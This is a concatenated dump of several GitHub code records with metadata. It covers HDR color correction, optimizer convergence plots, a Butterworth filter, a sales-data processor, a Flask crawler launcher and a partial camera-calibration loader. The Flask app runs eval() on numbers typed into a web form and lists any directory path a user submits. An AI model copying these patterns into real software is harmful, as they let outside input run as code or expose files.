"code", "stars": 3, "dataset": "github-code", "pt": "86", "api": [{"api_name": "gzip.open", "line_number": 12, "usage_type": "call"}, {"api_name": "json.load", "line_number": 13, "usage_type": "call"}, {"api_name": "error_analysis.error_analysis", "line_number": 27, "usage_type": "call"}]} +{"seq_id": "35503544913", "text": "# color correction and white balancing (20 points)\n\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport skimage\nfrom skimage import io\nimport Imath\nimport OpenEXR\nimport csv\n\nfrom cp_hw2 import read_colorchecker_gm, writeEXR\nfrom utils import get_pts, save_pts, read_pts, read_exr_img, get_patch\nfrom photographic_tonemapping import tone_mapping\n\nimage_type = [\"tiff\", \"jpg\"]\nmerging_type = [\"linear\", \"logarithmic\"]\nweight_scheme = [\"uniform\", \"tent\", \"gaussian\", \"photon\"]\npatch_type = list(range(1, 25)) # [1, 2, 3, ... , 24]\n\ndef compute_patch_mean(patches):\n patch_mean = {}\n for patch in patch_type:\n patch_mean[patch] = np.mean(patches[patch], (0, 1))\n return patch_mean\n\ndef get_gt_color():\n r, g, b = read_colorchecker_gm()\n gt_color = np.dstack([r, g, b])\n return gt_color\n\ndef get_color_checker(filename, origin_img_type):\n pts = read_pts(\"../result/pts_\" + origin_img_type + \"_all.csv\", patch_type)\n _, patches = get_patch(pts, filename, patch_type)\n patches_mean = compute_patch_mean(patches)\n patches_mean = np.array(list(patches_mean.values()))\n patches_mean = np.reshape(patches_mean, (6, 4, 3)).transpose(1, 0, 2)\n return patches_mean\n\ndef checker2linear(color_checker):\n color_checker = color_checker.transpose(1, 0, 2).reshape(-1, 3)\n return color_checker\n\ndef color_affine_transform(color_checker, gt_color):\n color_checker = checker2linear(color_checker)\n gt_color = checker2linear(gt_color)\n A = np.hstack((color_checker, np.ones((color_checker.shape[0], 1))))\n b = gt_color\n transform_matrix, _, _, _ = np.linalg.lstsq(A, b)\n return transform_matrix\n\ndef color_correction(img, transform_matrix):\n correct_img = np.zeros(img.shape)\n img = np.dstack((img, np.ones((img.shape[0], img.shape[1], 1))))\n for i in range(correct_img.shape[1]):\n A = img[:, i, :].reshape(img.shape[0], img.shape[2])\n B = transform_matrix\n correct_img[:, i, :] = np.matmul(A, B)\n return correct_img\n\ndef white_balance(img, origin_img_type):\n pts = read_pts(\"../result/pts_\" + origin_img_type + \"_all.csv\", patch_type)\n pt1 = list(map(int, eval(pts[4])[0]))\n pt2 = list(map(int, eval(pts[4])[1]))\n patch4 = img[pt1[1] : pt2[1] + 1, pt1[0] : pt2[0] + 1]\n patch4_mean = np.mean(patch4, (0, 1))\n gt_color = get_gt_color()\n gt_patch4 = checker2linear(gt_color)[3]\n k = gt_patch4 / patch4_mean\n img = img * k\n return img\n\ndef color_correction_white_balance(filename, img_type, weighting_scheme, merge_type, save_dir):\n img = read_exr_img(filename)\n color_checker = get_color_checker(filename, i)\n gt_color = get_gt_color()\n transform_matrix = color_affine_transform(color_checker, gt_color)\n color_corrected_img = color_correction(img, transform_matrix)\n cw_img = white_balance(color_corrected_img, i)\n img_name = \"hdr_\" + img_type + '_' + weighting_scheme + '_' + merge_type + \"_ccwb.exr\"\n writeEXR(save_dir + img_name, cw_img)\n\ndef draw_color_checker(filename, img_type):\n color_checker = get_color_checker(filename, img_type)\n gt_color = get_gt_color()\n plt.figure(\"color checker\")\n plt.subplot(211)\n plt.title(\"average value\")\n plt.imshow(color_checker / (1 + color_checker))\n plt.subplot(212)\n plt.title(\"ground truth\")\n plt.imshow(gt_color)\n plt.tight_layout()\n plt.show()\n\nif __name__ == \"__main__\":\n # save point for each patch for jpg and tiff\n # for i in image_type:\n # print(\"select points for \" + i)\n # pts = get_pts(\"../data/door_stack/exposure14.\" + i, patch_type)\n # save_pts(pts, \"../result/pts_\" + i + \"_all.csv\", patch_type)\n\n # save a color corrected image\n i= image_type[1]\n w = weight_scheme[0]\n m = merging_type[1]\n filename = \"/home/llipa/HDRimaging/result/hdr_\" + i + '_' + w + '_' + m + \".exr\"\n save_dir = \"/home/llipa/HDRimaging/result/ccwb/\"\n save_name = save_dir + \"hdr_\" + i + '_' + w + '_' + m + \"_ccwb.exr\"\n\n # draw color checker and standard RGB value\n # draw_color_checker(filename, i)\n\n color_correction_white_balance(filename, i, w, m, save_dir)\n\n img = tone_mapping(filename)\n cw_img = tone_mapping(save_name)\n \n plt.figure(\"color correction white balancing\")\n plt.subplot(121)\n plt.title(\"origin HDR image\")\n plt.imshow(img)\n plt.axis('off')\n plt.subplot(122)\n plt.title(\"color correction and white balancing\")\n plt.imshow(cw_img)\n plt.axis('off')\n plt.tight_layout()\n plt.savefig(\"../result/ccwb/color_correction_white_balancing.png\", bbox_inches = 'tight')\n plt.show()\n\n", "repo_name": "llipa/HDRimaging", "sub_path": "src/color_correction.py", "file_name": "color_correction.py", "file_ext": "py", "file_size_in_byte": 4598, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "86", "api": [{"api_name": "numpy.mean", "line_number": 23, "usage_type": "call"}, {"api_name": "cp_hw2.read_colorchecker_gm", "line_number": 27, "usage_type": "call"}, {"api_name": "numpy.dstack", "line_number": 28, "usage_type": "call"}, {"api_name": "utils.read_pts", "line_number": 32, "usage_type": "call"}, {"api_name": "utils.get_patch", "line_number": 33, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 35, "usage_type": "call"}, {"api_name": "numpy.reshape", "line_number": 36, "usage_type": "call"}, {"api_name": "numpy.hstack", "line_number": 46, "usage_type": "call"}, {"api_name": "numpy.ones", "line_number": 46, "usage_type": "call"}, {"api_name": "numpy.linalg.lstsq", "line_number": 48, "usage_type": "call"}, {"api_name": "numpy.linalg", "line_number": 48, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 52, "usage_type": "call"}, {"api_name": "numpy.dstack", "line_number": 53, "usage_type": "call"}, {"api_name": "numpy.ones", "line_number": 53, "usage_type": "call"}, {"api_name": "numpy.matmul", "line_number": 57, "usage_type": "call"}, {"api_name": "utils.read_pts", "line_number": 61, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 65, "usage_type": "call"}, {"api_name": "utils.read_exr_img", "line_number": 73, "usage_type": "call"}, {"api_name": "cp_hw2.writeEXR", "line_number": 80, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 85, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 85, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 86, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 86, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 87, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 87, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.imshow", "line_number": 88, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 88, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 89, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 89, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 90, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 90, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.imshow", "line_number": 91, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 91, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.tight_layout", "line_number": 92, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 92, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 93, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 93, "usage_type": "name"}, {"api_name": "photographic_tonemapping.tone_mapping", "line_number": 115, "usage_type": "call"}, {"api_name": "photographic_tonemapping.tone_mapping", "line_number": 116, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 118, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 118, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 119, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 119, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 120, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 120, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.imshow", "line_number": 121, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 121, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.axis", "line_number": 122, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 122, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 123, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 123, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 124, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 124, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.imshow", "line_number": 125, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 125, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.axis", "line_number": 126, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 126, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.tight_layout", "line_number": 127, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 127, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 128, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 128, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 129, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 129, "usage_type": "name"}]} +{"seq_id": "26212997760", "text": "#matplotlib tutorials\n#Convergence plot of the optimizer\n\n#Import the libraries\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom scipy import optimize\n\n#Upper and lower bounds of the design variables\n#Used for both plotting and when bounds are specified in the optimizer\nlb = np.array([-2.5, -1.5])\nub = np.array([2.5, 3.5])\nbounds = [(lb[0],ub[0]), (lb[1],ub[1])]\n\n#Objective function\ndef f(x): # The rosenbrock function\n return (1 - x[0])**2 + 100*(x[1] - x[0]**2)**2\n\n#Gradient of objective function\ndef jacobian(x):\n return np.array((-2*(1 - x[0]) - 400*x[0]*(x[1] - x[0]**2), 200*(x[1] - x[0]**2)))\n\n#Starting point of the optimizer\nx0 = np.array([-2,1])\n\n#Store the intermediate iteration values\nstore = [x0]\ndef storage(x):\n return store.append(x)\n\nresult = optimize.minimize(f, x0, method='BFGS', jac=jacobian, callback = storage,\n options={'ftol': 1e-9, 'disp': True})\n\n\nstore = np.array(store) #Convert to numpy array \n\n\nfig1, ax1 = plt.subplots(figsize=(7,5)) # Create figure and axes\nax1.plot(range(len(store)), f(store.T)) # Plot data\nax1.set_yscale('log')\nax1.set_xlabel('Iteration index', fontsize = 15) # x-label\nax1.set_ylabel('Objective function', fontsize = 15) # y-label\nax1.set_title(\"Convergence of the objective function\", fontsize = 15) # title\nax1.legend() # legend\nfig1.savefig('obj_func.pdf')\n\n#Calculate the norm of the difference between consecutive design variables \ndiff = np.diff(store,axis=0) #Difference between row values\nnorm = np.linalg.norm(diff,axis=1) #Norm of the difference\nnorm = np.append(np.linalg.norm(store[0]),norm) #Add the norm of the initial design\n\nfig2, ax2 = plt.subplots(figsize=(7,5)) # Create figure and axes\nax2.plot(range(len(store)), norm) # Plot data\nax2.set_yscale('log')\nax2.set_xlabel('Iteration index', fontsize = 15) # x-label\nax2.set_ylabel('||$x^{(i)}$ - $x^{(i-1)}$||', fontsize = 15) # y-label\nax2.set_title(\"Change in argument x\", fontsize = 15) # title\nax2.legend() # legend\nfig2.savefig('dv.pdf')", "repo_name": "CODE-Lab-IASTATE/MDO_course", "sub_path": "05_plotting_with_matplotlib/conv_history.py", "file_name": "conv_history.py", "file_ext": "py", "file_size_in_byte": 2025, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "86", "api": [{"api_name": "numpy.array", "line_number": 11, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 12, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 21, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 24, "usage_type": "call"}, {"api_name": "scipy.optimize.minimize", "line_number": 31, "usage_type": "call"}, {"api_name": "scipy.optimize", "line_number": 31, "usage_type": "name"}, {"api_name": "numpy.array", "line_number": 35, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 38, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 38, "usage_type": "name"}, {"api_name": "numpy.diff", "line_number": 48, "usage_type": "call"}, {"api_name": "numpy.linalg.norm", "line_number": 49, "usage_type": "call"}, {"api_name": "numpy.linalg", "line_number": 49, "usage_type": "attribute"}, {"api_name": "numpy.append", "line_number": 50, "usage_type": "call"}, {"api_name": "numpy.linalg.norm", "line_number": 50, "usage_type": "call"}, {"api_name": "numpy.linalg", "line_number": 50, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 52, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 52, "usage_type": "name"}]} +{"seq_id": "71608865564", "text": "from typing import Literal\n\nimport pandas as pd\n\nfrom scipy.signal import butter, sosfilt\n\nfrom indsl import versioning\nfrom indsl.type_check import check_types\n\nfrom . import butterworth_v1 # noqa\n\n\n# noinspection SpellCheckingInspection\n@versioning.register(\n version=\"2.0\",\n changelog=\"Unused or irrelevant lines of code removed and filter output parameter \"\n \"removed from function signature and set to `sos`.\",\n)\n@check_types\ndef butterworth(\n data: pd.Series,\n N: int = 50,\n Wn: float = 0.1,\n btype: Literal[\"lowpass\", \"highpass\"] = \"lowpass\",\n) -> pd.Series:\n \"\"\"Butterworth.\n\n This signal processing filter is designed to have a frequency response as flat as possible in the passband and\n roll-offs towards zero in the stopband. In other words, this filter is designed not to modify much the signal at the\n in the passband and attenuate as much as possible the signal at the stopband. At the moment, only low and high pass\n filtering are supported.\n\n Args:\n data: Time series.\n N: Order.\n Defaults to 50.\n Wn: Critical frequency.\n Number between 0 and 1, with 1 representing one-half of the sampling rate (Nyquist frequency).\n Defaults to 0.1.\n btype: Filter type.\n The options are: \"lowpass\" and \"highpass\"\n Defaults to \"lowpass\".\n\n Returns:\n pandas.Series: Filtered signal.\n \"\"\"\n data = data.dropna()\n\n if len(data) < 1:\n return data\n\n filter_output = butter(N=N, Wn=Wn, output=\"sos\", btype=btype)\n # Apply second order segments\n filtered = sosfilt(filter_output, data, axis=0)\n\n return pd.Series(filtered, index=data.index)\n", "repo_name": "cognitedata/indsl", "sub_path": "indsl/smooth/butterworth.py", "file_name": "butterworth.py", "file_ext": "py", "file_size_in_byte": 1696, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "86", "api": [{"api_name": "pandas.Series", "line_number": 21, "usage_type": "attribute"}, {"api_name": "typing.Literal", "line_number": 24, "usage_type": "name"}, {"api_name": "scipy.signal.butter", "line_number": 52, "usage_type": "call"}, {"api_name": "scipy.signal.sosfilt", "line_number": 54, "usage_type": "call"}, {"api_name": "pandas.Series", "line_number": 56, "usage_type": "call"}, {"api_name": "indsl.versioning.register", "line_number": 14, "usage_type": "call"}, {"api_name": "indsl.versioning", "line_number": 14, "usage_type": "name"}, {"api_name": "indsl.type_check.check_types", "line_number": 19, "usage_type": "name"}, {"api_name": "pandas.Series", "line_number": 25, "usage_type": "attribute"}]} +{"seq_id": "15954168972", "text": "import pandas as pd\nimport json\nimport fitz\nfrom pptx import Presentation\nfrom pptx.util import Inches\nfrom PIL import Image\nimport io\n\nimport pandas as pd\nimport json\n\n# Prompt the user for the month and year for pie charts\nmonth_input = \"September\"\nyear_input = 2023\n\n# Read the excel file\ndf = pd.read_excel('salesmaster200997.xlsx')\n\n# Validate the month and year input\nif not df[(df['Month'] == month_input) & (df['Year'] == year_input)].empty:\n chosen_year = year_input\nelse:\n print(\"Invalid month or year input! Please check your Excel data.\")\n exit()\n\n# Calculate the percentage change for sales (useful for your trend analysis)\ndf['PercentageChange'] = df['Sales'].pct_change() * 100\n\n# Define original columns and their new names\ncolumn_map = {\n 'No of Invoices': 'Invoices',\n 'No of Customers': 'Customers',\n 'Customers did not purchase': 'NonEngaged',\n 'Customers did not purchase 3 years or more': 'LongInactive',\n 'No of Items': 'Items',\n 'No of Items Sold': 'SoldItems',\n 'No of Remote customers': 'RemoteUsers',\n 'Receivables': 'Receivables'\n}\n\n# Extract data for the additionalData section using original column names\ncolumns_to_extract = ['Year', 'Month', 'Sales'] + list(column_map.keys())\nadditional_data = df[columns_to_extract].rename(columns=column_map).to_dict(orient='records')\n\n# Organize the data\ncomplete_data = {\n 'chosenMonth': month_input,\n 'chosenYear': chosen_year,\n 'additionalData': additional_data # Contains data for all months and years\n}\n\n# Save the data in a JSON file\nwith open('sales_data.json', 'w') as f:\n json.dump(complete_data, f)\n\nprint(f\"Data saved to 'sales_data.json'. Pie chart data for {month_input} {chosen_year} is also saved.\")\n", "repo_name": "Mkeshishian/testrepo", "sub_path": "data_processor.py", "file_name": "data_processor.py", "file_ext": "py", "file_size_in_byte": 1730, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "86", "api": [{"api_name": "pandas.read_excel", "line_number": 17, "usage_type": "call"}, {"api_name": "json.dump", "line_number": 54, "usage_type": "call"}]} +{"seq_id": "33318657034", "text": "from flask import Flask, render_template, request, jsonify, make_response\nimport pandas as pd\nfrom os import listdir, system,chdir,getcwd\nfrom os.path import isfile, join, getctime, abspath\nimport websockets\nimport asyncio\n#from flask_socketio import SocketIO, send\n\napp = Flask(__name__)\n\nmessage = \"\"\nglobal csvFolder\nglobal csv_path\nglobal crawlerFolder\nglobal homepath\n\nassetsFolder = join(\"assets\")\ncsvFolder = join(\"csv\")\ncsv_path = join(assetsFolder,csvFolder)\n\ncrawlerFolder = join(\"crawlers\")\nhomepath='..'\n\n# create index route\n@app.route('/', methods=['POST','GET'])\ndef index():\n return render_template(\"index.html\", message = message)\n\n\n@app.route('/crawler')\ndef crawlerindex():\n\n csvwlcmsg = 'Choose CSV on the left box to show contents!'\n csvList = [f for f in listdir(csv_path) if isfile(join(csv_path, f))]\n\n return render_template(\"crawler.html\", csv_list = csvList, msg=csvwlcmsg)\n\n@app.route('/getCSV')\ndef getCSV():\n\n csvList = [f for f in listdir(csv_path) if isfile(join(csv_path, f))]\n\n #receive csvname parameter\n csvName = request.args.get('csvName')\n\n #read csv\n pd.set_option('display.max_rows', None)\n df = pd.read_csv(join(csv_path, csvName))\n\n return render_template(\"crawler.html\", column_names=df.columns.values, row_data=list(df.values.tolist()), zip=zip, csv_list = csvList)\n\n##########Crawler############``\n@app.route('/getCrawler', methods=['POST', 'GET'])\ndef crawler():\n if request.method == 'POST':\n crawler = request.form['crawler']\n sucMsg = \"crawler has succesfully run! Please refresh the page to see the CSV file. CSV generated: \"\n failMsg = \"crawler has failed to run.\"\n if crawler == \"TW\":\n try:\n old_list = getFiles()\n chdir(crawlerFolder)\n result = system('python twitter.py')\n if result == 0:\n print(\"Crawler run successful\")\n csv_list = getGeneratedCSV(old_list)\n print(csv_list)\n for csv in csv_list:\n sucMsg += '
    '+ csv\n return jsonify({'result': sucMsg})\n else:\n print(\"Run failed\")\n return jsonify({'result': failMsg})\n except:\n return jsonify({'result': failMsg})\n elif crawler == \"YT\":\n try:\n old_list = getFiles()\n chdir(crawlerFolder)\n result = system('python youtube.py')\n if result == 0:\n print(\"Crawler run successful\")\n csv_list = getGeneratedCSV(old_list)\n print(csv_list)\n for csv in csv_list:\n sucMsg += '
    '+ csv\n return jsonify({'result': sucMsg})\n else:\n print(\"Run failed\")\n return jsonify({'result': failMsg})\n except:\n return jsonify({'result': failMsg})\n elif crawler == \"FB\":\n try:\n old_list = getFiles()\n facepageFolder = join('Facepager','src')\n facepagerPath = join(crawlerFolder,facepageFolder)\n chdir(facepagerPath)\n print(facepagerPath)\n result = system('python Facepager.py')\n if result == 0:\n print(\"Crawler run successful\")\n csv_list = getGeneratedCSV(old_list)\n print(csv_list)\n for csv in csv_list:\n sucMsg += '
    '+ csv\n return jsonify({'result': sucMsg})\n else:\n print(\"Run failed\")\n return jsonify({'result': failMsg})\n except:\n return jsonify({'result': failMsg})\n elif crawler == \"IG\":\n try:\n old_list = getFiles()\n chdir(crawlerFolder)\n result = system('python igv2_deploy.py')\n if result == 0:\n print(\"Crawler run successful\")\n csv_list = getGeneratedCSV(old_list)\n print(csv_list)\n for csv in csv_list:\n sucMsg += '
    '+ csv\n return jsonify({'result': sucMsg})\n else:\n print(\"Run failed\")\n return jsonify({'result': failMsg})\n except:\n return jsonify({'result': failMsg})\n elif crawler == \"RD\":\n # to be updated\n try:\n old_list = getFiles()\n chdir(crawlerFolder)\n result = system('python reddit.py')\n if result == 0:\n print(\"Crawler run successful\")\n csv_list = getGeneratedCSV(old_list)\n print(\"print test\")\n print(csv_list)\n for csv in csv_list:\n sucMsg += '
    '+ csv\n print(getcwd())\n return jsonify({'result': sucMsg})\n else:\n print(\"Run failed\")\n return jsonify({'result': failMsg})\n except:\n print(\"exception\")\n return jsonify({'result': failMsg})\n else:\n return render_template('crawler.html')\n\n@app.route('/getKw', methods=['POST', 'GET'])\ndef kw():\n if request.method == 'POST':\n kw = request.form['kwInput']\n with open(join('crawlers','input.txt'), \"r\") as file:\n lines = file.readlines()\n print('lines: ', end='')\n print(lines)\n lines[0] = kw +'\\n'\n \n with open(join('crawlers','input.txt'), \"w\") as file:\n for line in lines:\n file.write(line)\n return jsonify({'result': 'Keyword entered'})\n else:\n return render_template('crawler.html')\n\n@app.route('/getNum', methods=['POST', 'GET'])\ndef num():\n if request.method == 'POST':\n num = request.form['numInput']\n\n try:\n\n if eval(num)<0:\n print('Number less than 0')\n return ({'result':'Number entered failed. Please enter a valid number.'})\n else:\n with open(join('crawlers','input.txt'), \"r\") as file:\n lines = file.readlines()\n print('lines: ', end='')\n print(lines)\n lines[1] = num +'\\n'\n \n with open(join('crawlers','input.txt'), \"w\") as file:\n for line in lines:\n file.write(line)\n return ({'result':'Number entered successfully'})\n except:\n return ({'result':'Number entered failed'})\n else:\n return render_template('crawler.html')\n \n@app.route('/getDir', methods=['POST', 'GET'])\ndef dir():\n global csv_path\n csvwlcmsg = 'Choose CSV on the left box to show contents!'\n if request.method == 'POST':\n try:\n csv_path = request.form[\"dir\"]\n csvList = listdir(csv_path)\n except:\n return render_template(\"crawler.html\")\n \n return render_template(\"crawler.html\", csv_list = csvList, msg=csvwlcmsg)\n\ndef getGeneratedCSV(old_list):\n chdir(homepath)\n csv_list = getFiles()\n print('oldlist: ', end='')\n print(old_list)\n generated = [file for file in csv_list if file not in old_list]\n print(generated)\n return generated \n\ndef getFiles():\n list_of_files = listdir(csv_path)\n csv_list = []\n for file in list_of_files:\n if file.endswith('.csv'):\n csv_list.append(file)\n print('current list: ', end='')\n print(csv_list)\n return csv_list\n\nif __name__ == \"__main__\":\n app.run(debug=True)\n", "repo_name": "wyewlee/MLex3-GUI", "sub_path": "crawler.py", "file_name": "crawler.py", "file_ext": "py", "file_size_in_byte": 7909, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "86", "api": [{"api_name": "flask.Flask", "line_number": 9, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 17, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 18, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 19, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 21, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 27, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 34, "usage_type": "call"}, {"api_name": "os.path.isfile", "line_number": 34, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 34, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 36, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 41, "usage_type": "call"}, {"api_name": "os.path.isfile", "line_number": 41, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 41, "usage_type": "call"}, {"api_name": "flask.request.args.get", "line_number": 44, "usage_type": "call"}, {"api_name": "flask.request.args", "line_number": 44, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 44, "usage_type": "name"}, {"api_name": "pandas.set_option", "line_number": 47, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 48, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 48, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 50, "usage_type": "call"}, {"api_name": "flask.request.method", "line_number": 55, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 55, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 56, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 56, "usage_type": "name"}, {"api_name": "os.chdir", "line_number": 62, "usage_type": "call"}, {"api_name": "os.system", "line_number": 63, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 70, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 73, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 75, "usage_type": "call"}, {"api_name": "os.chdir", "line_number": 79, "usage_type": "call"}, {"api_name": "os.system", "line_number": 80, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 87, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 90, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 92, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 96, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 97, "usage_type": "call"}, {"api_name": "os.chdir", "line_number": 98, "usage_type": "call"}, {"api_name": "os.system", "line_number": 100, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 107, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 110, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 112, "usage_type": "call"}, {"api_name": "os.chdir", "line_number": 116, "usage_type": "call"}, {"api_name": "os.system", "line_number": 117, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 124, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 127, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 129, "usage_type": "call"}, {"api_name": "os.chdir", "line_number": 134, "usage_type": "call"}, {"api_name": "os.system", "line_number": 135, "usage_type": "call"}, {"api_name": "os.getcwd", "line_number": 143, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 144, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 147, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 150, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 152, "usage_type": "call"}, {"api_name": "flask.request.method", "line_number": 156, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 156, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 157, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 157, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 158, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 164, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 167, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 169, "usage_type": "call"}, {"api_name": "flask.request.method", "line_number": 173, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 173, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 174, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 174, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 182, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 188, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 195, "usage_type": "call"}, {"api_name": "flask.request.method", "line_number": 201, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 201, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 203, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 203, "usage_type": "name"}, {"api_name": "os.listdir", "line_number": 204, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 206, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 208, "usage_type": "call"}, {"api_name": "os.chdir", "line_number": 211, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 220, "usage_type": "call"}]} +{"seq_id": "34309790216", "text": "# Hey, I'm trying to work with some cool stuff here!\n\n# First, I'm importing some libraries I need. They're like tools for my project.\nimport os # I think this is for working with files and folders.\nimport cv2 # OpenCV is great for pictures and videos.\nimport numpy as np # This is for math and numbers.\nimport xml.etree.ElementTree as ET # XML, I think it's for saving data.\n\n# Now, I'm telling my code where to find the calibration data.\nroot_directory = \"Wildtrack/calibrations\"\n\n# I need to make lists to hold the data for each camera.\nintrinsic_original_data = [] # This one for the original distortion.\nintrinsic_zero_data = [] # This is for zero distortion.\nextrinsic_data = [] # And this for the camera's position and orientation.\n\n# I'm creating folders where the different data types are stored.\nextrinsic_dir = os.path.join(root_directory, \"extrinsic\") # Extrinsic data folder.\nintrinsic_original_dir = os.path.join(root_directory, \"intrinsic_original\") # Original distortion folder.\nintrinsic_zero_dir = os.path.join(root_directory, \"intrinsic_zero\") # Zero distortion folder.\n\n# Here, I'm writing a function that loads data from a folder.\ndef load_calibration_data(calibration_dir):\n calibration_data = [] # This is where I'm going to put the data.\n for file_name in os.listdir(calibration_dir):\n if file_name.endswith(\".xml\"): # I only want XML files.\n file_path = os.path.join(calibration_dir, file_name)\n calibration_data.append(cv2.FileStorage(file_path, cv2.FILE_STORAGE_READ))\n return calibration_data\n\n# This function is almost the same, but for the extrinsic data.\ndef load_extrinsic_calibration_data(calibration_dir):\n calibration_data = [] # Another place for data.\n for 